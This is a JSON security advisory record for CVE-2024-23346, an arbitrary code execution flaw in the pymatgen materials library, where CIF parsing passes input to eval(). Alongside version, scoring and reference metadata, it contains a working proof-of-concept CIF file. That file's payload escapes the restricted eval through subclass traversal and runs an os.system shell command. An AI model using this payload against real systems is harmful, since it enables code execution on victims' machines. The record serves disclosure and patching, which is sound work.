{"id":"CVE-2024-23346","aliases":["CVE-2024-23346","GHSA-vgv8-5cpj-qj2f","PYSEC-2024-226"],"related":[],"kind":"vulnerability","state":"published","title":"pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string","summary":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nA critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n    re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n    for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n'  m  a'  \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).","format":"markdown","source":"ghsa"},{"lang":"es","text":"Pymatgen (Python Materials Genomics) es una librería Python de código abierto para análisis de materiales. Existe una vulnerabilidad de seguridad crítica en el método `JonesFaithfulTransformation.from_transformation_str()` dentro de la librería `pymatgen` antes de la versión 2024.2.20. Este método utiliza de forma insegura `eval()` para procesar la entrada, lo que permite la ejecución de código arbitrario al analizar entradas que no son de confianza. La versión 2024.2.20 soluciona este problema.","source":"nvd"}],"published":"2024-02-21T16:13:25.498Z","modified":"2026-06-17T07:12:38.440Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9.4,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9.3,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-77"],"affected":[{"ranges":[{"version":"< 2024.2.20","status":"affected"}],"vendor":"materialsproject","product":"pymatgen","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"2024.2.20","status":"affected"}],"vendor":"pymatgen","product":"pymatgen","cpe":"cpe:2.3:a:pymatgen:pymatgen:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2024.2.20"}],"ecosystem":"PyPI","package":"pymatgen","purl":"pkg:pypi/pymatgen","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2024.2.20"}],"vendor":"materialsvirtuallab","product":"pymatgen","cpe":"cpe:2.3:a:materialsvirtuallab:pymatgen:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"},{"type":"git","status":"affected","fixed":"c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2024.2.20"}],"ecosystem":"PyPI","package":"pymatgen","purl":"pkg:pypi/pymatgen","repo":"https://github.com/materialsproject/pymatgen","source":"pysec"}],"references":[{"url":"https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f","tags":["advisory","evidence","exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a","tags":["fix","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108","tags":["broken-link","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346","tags":["evidence","exploit","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23346","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/materialsproject/pymatgen","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pymatgen/PYSEC-2024-226.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/advisories/GHSA-vgv8-5cpj-qj2f","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-02-21T18:18:22.669Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-23346","url":"https://www.cve.org/CVERecord?id=CVE-2024-23346","licence":"CVE Terms of Use","modified":"2024-08-19T07:47:59.282Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vgv8-5cpj-qj2f","url":"https://github.com/advisories/GHSA-vgv8-5cpj-qj2f","licence":"CC-BY-4.0","modified":"2026-06-10T17:14:18.255Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-23346","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23346","licence":"Public domain","modified":"2026-06-17T07:12:38.440Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2024-226","url":"https://osv.dev/vulnerability/PYSEC-2024-226","licence":"CC-BY-4.0","modified":"2026-06-10T17:14:18.077Z"}],"updatedAt":"2026-11-25T22:58:36.965Z","epss":{"score":0.03848,"percentile":0.90399,"date":"2026-12-01T12:00:22.000Z"}}